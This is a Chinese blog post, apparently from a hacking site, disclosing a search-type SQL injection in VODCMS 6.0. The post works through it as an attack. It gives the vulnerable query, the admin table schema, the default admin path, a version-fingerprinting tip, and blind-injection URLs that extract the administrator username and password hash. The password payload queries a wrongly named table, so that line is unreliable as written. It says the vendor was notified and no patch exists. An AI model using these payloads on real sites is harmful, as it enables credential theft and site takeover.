存档

文章标签 ‘VODCMS 漏洞’

VODCMS 6.0搜索型注入漏洞

2010年4月7日 3 条评论

作者:不走的钟

来源:http://www.007hack.com/?p=544

官方描述:

 vodcms 点播管理系统,文全称为Video-On-Demand Content Management System,中文全称为 秀影。希望我们的努力能为您提供一个高效快速和强大的点播管理解决方案。

不走的钟做网站安全检测时,发现有一套VODCMS6.0系统,搜索的地方习惯性加一个单引号,错误如下:

很明显存在mysql搜索型注入,

SELECT COUNT(*) as total FROM vodcms_movie AS a WHERE 1=1 AND a.`locked` = 0 AND a.`title` LIKE ‘%1′%’ AND a.lookgid <> 2
我们来构造下sql语句,搜索:

1′ and 1=1 and ‘%’='   //返回页面正常,无报错,说明sql语法正确。

VODCMS默认后台为/admin/

下载VODCMS 6.0,解压后找到install\vodcms.sql部分内容如下:

-- 表的结构 `vodcms_admin`
--
DROP TABLE IF EXISTS `vodcms_admin`;
CREATE TABLE `vodcms_admin` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `username` char(30) NOT NULL,
  `password` char(32) NOT NULL,
  `realname` varchar(50) NOT NULL,
  `group` varchar(30) NOT NULL,
  `logintime` int(11) NOT NULL,
  `lastime` int(10) unsigned NOT NULL,
  `lastip` char(16) NOT NULL,
  `failed` tinyint(3) unsigned NOT NULL,
  `locked` tinyint(3) unsigned NOT NULL,
  PRIMARY KEY (`id`)
) TYPE=MyISAM  AUTO_INCREMENT=2 ;

这里不能使用union,如果有权限load_file虽然可以用,但是非常麻烦,如果你不知道网站路径,可以参考本站另一篇文章apache路径大全

知道了后台和管理员表,还可以通过肓注来获取管理员后台密码,代码如下:
管理员用户:

http://www.007hack.com/index.php?type=title&keyword=1' and (select ascii(substr((select username from vodcms_admin where id=1),1,1)))>=1 and '%'='&mod=content&action=search&x=22&y=17

管理员密码:

http://www.007hack.com/index.php?type=title&keyword=1' and (select ascii(substr((select password from password where id=1),1,1)))>=1 and '%'='&mod=content&action=search&x=22&y=17

当然这样手工很累,使用“关键字”写了一个小工具10分钟就跑出来了32的md5,工具很简单但不通用,这里不公开了。
小技巧:
网站根目录下的robots.txt可以查看版本信息,本文在6.0.0下测试通过。

说明:
由于VODCMS 6.0非开源代码(PHP已加密),本站无法提供解决方案,已通知官方,请大家等待补丁并及时更新。